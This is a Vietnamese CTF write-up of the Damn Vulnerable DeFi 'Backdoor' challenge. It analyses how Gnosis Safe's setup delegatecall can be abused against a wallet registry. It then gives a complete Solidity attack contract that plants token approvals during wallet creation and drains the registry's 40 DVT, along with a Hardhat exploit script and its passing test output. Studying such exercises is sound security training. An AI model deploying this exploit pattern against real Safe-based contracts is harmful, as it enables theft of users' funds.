KienDT

Talk is cheap. Show me the code.

Damn Vulnerable Defi writeups: 11 - Backdoor

Challenge #11 - Backdoor

Nhiệm vụ: Để khuyến khích mọi người trong team dùng ví Gnosis Safe để tăng tính bảo mật, team đã tạo ra một contract registry. Mỗi khi có ai đó trong team tạo ví Gnosis Safe của họ và đăng ký ví với registry này, họ sẽ nhận được 10 DVT token.

Mặt khác, để mọi người có thể tạo ra ví Gnosis Safe một cách đơn giản và bảo mật nhất, team quyết dịnh sử dụng Gnosis Safe Proxy Factory để tạo ví, thay vì trực tiếp tạo.

Hiện tại đã có 4 người đăng ký với registry là Alice, Bob, Charlie, David. Trong registry đã có 40 DVT để sẵn sàng phân phối cho 4 người họ.

Mục tiêu của bạn là trong 1 transaction duy nhất lấy hết toàn bộ fund trong registry.

Phân tích

Contract WalletRegistry dường như không một tì vết, ta không thấy có lỗ hổng nào ở đây cả. Do đó không còn cách nào khác ta phải tìm hiểu toàn bộ cách mà Gnosis Safe hoạt động.

Các ví Gnosis Wallet sẽ được tạo ra bởi Gnosis Safe Proxy Factory.

Lưu ý rằng các ví Gnosis Wallet được tạo ra này là ví proxy, tức nó được thiết kế theo dạng upgradable pattern, nó không chứa implementation code, mà chỉ chứa proxy code. Mỗi khi có call đến contract, nó sẽ được forward qua implementation contract thông qua delegatecall. Bạn đọc nên tự tìm hiểu thêm về upgradable pattern.

Do các ví đều có implementation giống nhau, nên để giảm thiểu chi phí deploy, mỗi version người ta sẽ chỉ sử dụng một implementation contract duy nhất, gọi là master copy. Các ví Gnosis Safe tạo ra đều trỏ tới master copy này.

Trong Gnosis Safe Proxy Factory có rất nhiều hàm để tạo ra một proxy (tức một ví Gnosis Safe). Trong trường hợp này wallet được tạo ra bởi hàm createProxyWithCallback

function createProxyWithCallback(
    address _singleton,
    bytes memory initializer,
    uint256 saltNonce,
    IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
    uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
    proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
    if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}

Ta giải thích qua một chút:

  • _singleton chính là master copy, đây là một địa chỉ có thể coi như là cố định
  • initializer đây chính là input data để callback gọi khi khởi tạo ví.
  • saltNonce là nonce để tránh hash collision, ta không cần quá quan tâm.
  • callback chính là registry của chúng ta.

Vậy ở đây ta chỉ có mỗi initializer là đầu vào, tức là thứ mà ta có thể kiểm soát được.

Quay trở lại hàm proxyCreated trong WalletRegistry:

function proxyCreated(
    GnosisSafeProxy proxy,
    address singleton,
    bytes calldata initializer,
    uint256
) external override {
    // Make sure we have enough DVT to pay
    require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");

    address payable walletAddress = payable(proxy);

    // Ensure correct factory and master copy
    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");

    // Ensure initial calldata was a call to `GnosisSafe::setup`
    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

    // Ensure wallet initialization is the expected
    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");

    // Ensure the owner is a registered beneficiary
    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];

    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

    // Remove owner as beneficiary
    _removeBeneficiary(walletOwner);

    // Register the wallet under the owner's address
    wallets[walletOwner] = walletAddress;

    // Pay tokens to the newly created wallet
    token.transfer(walletAddress, TOKEN_PAYMENT);
}

hàm được viết rất chặt chẽ:

  • chỉ được gọi bởi factory, tức nó phải được gọi từ hàm createProxyWithCallback bên trên.
  • không thể sử dụng một fake master copy
  • initializer là do ta tùy ý đưa vào, nhưng bị ràng buộc nó phải là hàm gọi setup
  • wallet tạo ra chỉ được phép một và chỉ một người sử dụng duy nhất

ta hầu như không thấy lỗ hổng ở đây, và tiếp tục chỉ có chỗ mà ta có thể input vào là có khả năng khai thác được, tức hàm setup của Gnosis Safe.

Tiếp tục nhìn qua hàm setup của Gnosis Safe:

function setup(
    address[] calldata _owners,
    uint256 _threshold,
    address to,
    bytes calldata data,
    address fallbackHandler,
    address paymentToken,
    uint256 payment,
    address payable paymentReceiver
) external {
    // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
    setupOwners(_owners, _threshold);
    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
    setupModules(to, data);

    if (payment > 0) {
        // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
        // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
        handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
    }
    emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}

ở đây mặc dù nói là các tham số là ta đưa vào, nhưng do các ràng buộc logic bên trên, ta không thể dùng một owner khác ngoài Alice, Bob, Charlie, David, threshold cũng không thể đổi và cố định là 1. Vậy với các tham số còn lại ta có thể lợi dụng được tham số nào đây?

hàm setupModules có logic như sau:

function setupModules(address to, bytes memory data) internal {
    require(modules[SENTINEL_MODULES] == address(0), "GS100");
    modules[SENTINEL_MODULES] = SENTINEL_MODULES;
    if (to != address(0))
        // Setup has to complete successfully or transaction fails.
        require(execute(to, 0, data, Enum.Operation.DelegateCall, gasleft()), "GS000");
}

hàm này thực hiện một delegatecall trên địa chỉ to với input là data, hoàn toàn là những đầu vào ta đưa vào.

nhắc lại rằng initializer được gọi bởi ví Gnosis Safe được tạo ra, trước khi registry gọi proxyCreated, tức trước khi chuyển tiền.

assembly {
    if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
        revert(0, 0)
    }
}

vì vậy ta không thể can thiệp được vào quá trình chuyển tiền này được, vì nếu can thiệp thì transaction sẽ có thể bị revert do registry không còn đủ tiền để chuyển nữa. Vậy thì lý tưởng nhất, ta approve cho contract tấn công có quyền tiêu tiền trước, sau đó ta rút tiền từ ví sau. Ý tưởng hoàn toàn hợp lý!

Tổng hợp lại ta có kịch bản khai thác như sau:

  • chuẩn bị data là hàm approve cho phép contract tấn công tiêu tiền của ví Gnosis Safe được tạo ra.
  • lưu ý rằng trong setupModules lời gọi là delegatecall, nên ta không thể dùng to là token contract trực tiếp, mà ta phải wrap nó vào một function khác để được gọi gián tiếp.
  • chuẩn bị initializer với data bên trên cho từng người Alice, Bob, Charlie, David.
  • gọi hàm createProxyWithCallback từ Gnosis Safe Proxy Factory để tạo ví.
  • rút tiền từ các ví Gnosis Safe được tạo ra.

Exploit

Chuẩn bị contract khai thác

contract RektBackdoor {
    GnosisSafeProxyFactory public factory;
    IProxyCreationCallback public callback;
    IERC20 public token;
    address[] public users;
    address public singleton;

    constructor(
        address _factory,
        address _singleton,
        address _callback,
        address _token,
        address[] memory _users
    ) {
        factory = GnosisSafeProxyFactory(_factory);
        singleton = _singleton;
        callback = IProxyCreationCallback(_callback);
        token = IERC20(_token);
        users = _users;
    }

    function rekt() external {
        bytes memory data = abi.encodeWithSignature(
            "approve(address,address)",
            token,
            address(this)
        );
        for (uint256 i = 0; i < users.length; i++) {
            address[] memory owners = new address[](1);
            owners[0] = users[i];

            bytes memory initializer = abi.encodeWithSignature(
                "setup(address[],uint256,address,bytes,address,address,uint256,address)",
                owners,
                1,
                address(this),
                data,
                address(0),
                address(0),
                0,
                address(0)
            );

            GnosisSafeProxy proxy = factory.createProxyWithCallback(
                singleton,
                initializer,
                0,
                callback
            );

            IERC20(token).transferFrom(address(proxy), tx.origin, 10 ether);
        }
    }

    function approve(address _token, address spender) public {
        IERC20(_token).approve(spender, type(uint256).max);
    }
}

Chạy script khai thác:

it('Exploit', async function () {
  /** CODE YOUR EXPLOIT HERE */
  const RektBackdoor = await ethers.getContractFactory('RektBackdoor', attacker);
  this.rekt = await RektBackdoor.deploy(
    this.walletFactory.address,
    this.masterCopy.address,
    this.walletRegistry.address,
    this.token.address,
    users
  );

  await this.rekt.connect(attacker).rekt();
});

Check lại kết quả

  [Challenge] Backdoor
    ✓ Exploit (483ms)


  1 passing (3s)

All done!

Bình luận

Đây thực sự là một thử thách rất khó, nó khó không bởi cách tấn công, mà là bởi ta phải hiểu được cách hoạt động của Gnosis Safe. Gnosis Safe gồm rất nhiều contract, với rất nhiều low level code như call, delegatecall hay hàng tá các inline assembly khác. Thực sự việc đọc và hiểu kiến trúc của Gnosis Safe là một việc vất vả nhất trong challenge này.

Note: Có một điểm bài này vẫn chưa giải quyết được triệt để. Đề bài yêu cầu là giải quyết trong 1 transaction duy nhất. Tức ta cần chạy tất cả trong constructor của contract tấn công là xong. Nhưng trên thực tế khi mình viết trong constructor thì hàm approve không hoạt động, có nghĩa là delegatecall trong constructor có vấn đề. Điều này mình sẽ điều tra và update thêm.